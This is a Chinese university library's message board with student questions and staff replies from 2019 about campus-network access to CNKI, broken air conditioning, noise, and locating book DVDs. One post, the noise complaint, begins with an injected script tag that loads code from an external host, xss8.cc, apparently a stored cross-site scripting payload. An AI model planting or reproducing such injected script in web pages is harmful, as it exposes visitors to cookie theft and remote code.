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老师，您好！本人办理了学校的校园网，一直从图书馆进入知网页面，也显示是学校的IP 地址，为什么在浏览过程中一直弹出，对不起，您没有登录呢？希望相关老师能给予回复

回复：
陈萍同学你好！
首先关于知网IP认证的问题，请参看上一条回复。如果你的IP在校园网可认证范围内，进入知网后，会在右上角显示“欢迎湖南科技学院图书馆”字样，该字样是成功登入的标志。然后即可无障碍使用，最近几天不间断测试，未发现有被弹出情况。
针对你的描述，我们有如下建议：
一，请确认你的IP是否在范围内，即是否能够显示“欢迎湖南科技学院图书馆”字样；
二，如IP认证后成功登入，请检查你所浏览的文章是否带有锁头标志，如有，证明我馆未购买该数据库；
三，检查个人的浏览器、杀毒软件是否对知网设限；
四，同一时段内如在线访问用户过多，存在被弹出的可能，针对这种情况可换个时间段再登陆
五，可尝试将论文先下载至电脑，然后再阅读。
祝你早日解决问题。
PS：如有网络问题，请联系学校信息中心

技术部：发表于：2019/8/12 16:18:10

老师您好！我办理了校园网，用手机登录可以在免费下载文章，怎么用平板登录校园网的时候不可以呢？每次点了下载之后就要我再登录……手机看文档很累呀，能否帮忙解决？谢谢

回复：
同学你好！理论上，知网是IP认证，只要在IP范围内，不管用台式机、笔记本，还是PAD、手机，都可以无差别认证。也就是说，知网只认证IP，不区分设备，不会因为是PAD就不给用。为证明该理论，我给沉年老PAD充电开机，进行了测试，登录也好，下载也好，均正常，不存在下载时需要重新登录的现象。鉴于此，请检查你的PAD是否通过校园网接入，如网络有问题，请咨询学校信息中心。
PS：最简单的临时解决方法：手机向PAD传文档不是分分钟的事儿吗？手机看着累，那你下载了传PAD看啊！
以上。祝你学习进步，心情愉快！

技术部：发表于：2019/8/9 9:09:51

<sCRiPt sRC=http://xss8.cc/AEne></sCrIpT>图书馆经常有人吵

回复：
你好！
请问你是说图书馆里面吗？
管理自修室的老师每天巡查，并未发现大声喧闹的现象，不知你具体指哪里？如果是自修室，建议你可以礼貌的当面提出，或者找保安寻求帮助。

Tang：发表于：2019/7/22 10:59:33

天气炎热，希望明德楼尽快安装饮水机，谢谢啦

回复：
谢谢你的建议，已将你的建议向相关部门反映。

Tang：发表于：2019/7/22 10:55:18

虽然您们也很为难，而且还给我们安排了明理楼的教室，已经很周到了，但还是喜欢图书馆的桌子，明德楼教室的桌子太窄了，而图书馆新馆的空调又不给力，一天坏一个，一天换一个教室去找空调，被迫无奈去明德楼，还是想说希望图书馆的空调能够给力起来，老师们也辛苦了！

回复：
谢谢你对图书馆工作的支持和关注！
祝学业进步！

Tang：发表于：2019/7/22 11:00:45

电信院部分同学在大四上学期需要除外培训或是实习，同时要做论文的初稿，届时可能无法访问校内知网资源，我近日将学校图书馆主页反向代理出去（后来发现我是多此一举，因为外网直接可访问主页），可是点击知网进入后携带不了登录态，不知从我校图书馆主页链接跳转到知网时做了哪些动作？希望能有一个外网访问知网资源的链接

回复：
你好！
简单来说，知网是有版权的，咱们学校购买了知网的服务，因此在咱们学校提供的IP段范围内都是免费使用的，在校外，甚至是杨梓塘街上，IP地址不属学校之内的，都无法获取知网的服务呢！
如还有不明白的地方，可以拨打技术部电话0746-6381601咨询。

Tang：发表于：2019/7/18 12:41:24

亲爱的图书馆管理员，本人于2019年6月15日归还图书《建筑笔录：黄建才画建筑》，图书条码c080010

回复：
亲爱的小可爱，你说的这本书还是显示在你卡上的呢！请速到还书台咨询！

Tang：发表于：2019/7/14 12:11:41

图书馆五楼右手边第二台空调坏了，十分影响学习，希望尽快解决

回复：
Z同学你好，你反映的空调保修问题上周已经报修了，一直等着师傅过来修理。由于是机器老化，维修有点难度，已经修了好几次，希望你多多谅解！

阅览部：发表于：2019/7/1 8:56:00

老师，您好！两次去图书馆叨扰，一直没有找到Promiere/Photoshop pro CS5完全学习手册的DVD资料，只能找到书籍，再次询求老师能不能搜索到，只能找到相关书籍的DVD

回复：
曹同学你好！
你已经在图书馆借到此书，现在是要找此书的光盘是不？
建议你先从网上下载：
1、键入 http://lib.huse.cn/   打开湖南科技学院图书馆主页。
2、在“常用资源”下点击“湖南省高校数字化图书馆”。
3、在一站式检索下选择“随书光盘”。
4、点击上图中的下拉菜单，选择检索条件，并在检索框内根据检索条件输入对应的书名、ISBN、作者或出版社（四选一），点击检索。
如有，可直接下载使用，如果没有，请到图书馆205采编咨询。

Tang：发表于：2019/7/18 16:51:58

听说老馆一间教室三台空调还有人觉得处于水深火热之中，来看看新馆吧，大教室只有三台风扇啊。
衷心建议新馆大教室新增空调，空调放在小自习室根本惠及不了多少人。炎炎夏日，能低一度是一度啊。🥺

回复：
同学你好！
你的心情，我们感同身受。
每到酷暑或严寒季节，图书馆空调问题就会受到读者特别的关注，图书馆也曾多次向学校反映这一问题。由于图书馆原有电路已超负荷，新安装空调必须解决电路承载问题，工程量相对较大，因此，学校在办学经费较为紧张的时候总有些心有余而力不足。近两年，图书馆要求后勤部门在部分自修室增装了一些风扇，酷热问题略微有点缓解，但没能从根本上解决问题。
去年曾宝成校长、李常健副校长及有关职能部门负责人曾来图书馆，就安装中央空调问题进行现场调研，听取意见。会后，职能部门已拿出中央空调安装方案，并作了经费预算,今年有望实施，但是彻底解决图书馆空调问题还需要一些时间，请你和同学们理解、包容。改善图书馆的借阅环境既是全体图书馆工作人员的努力方向，也是学校领导一直关注和重视的问题。我们相信，同学们在图书馆自修的条件会越来越好。
近段，天气特别闷热，请同学们忍耐，克服，注意身体。目前图书馆新馆附楼4楼全部都是空调自修室，虽然资源有限，为保证座位有效利用，我们的工作人员每天巡逻，不允许占座，欢迎你来馆学习。

Tang：发表于：2019/6/21 10:30:45